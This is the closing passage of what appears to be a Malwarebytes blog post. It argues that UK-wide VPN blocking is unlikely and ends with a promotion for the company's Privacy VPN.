Don’t ditch your VPN. The Great Firewall of Great Britain isn’t coming. And if it tried, it would have more holes than a fishing net.

Hat tip to Stefan Dasic and the Malwarebytes VPN team for their invaluable input.

---

We don’t just report on privacy—we offer you the option to use it.

Privacy risks should never spread beyond a headline. Keep your online privacy yours by using Malwarebytes Privacy VPN.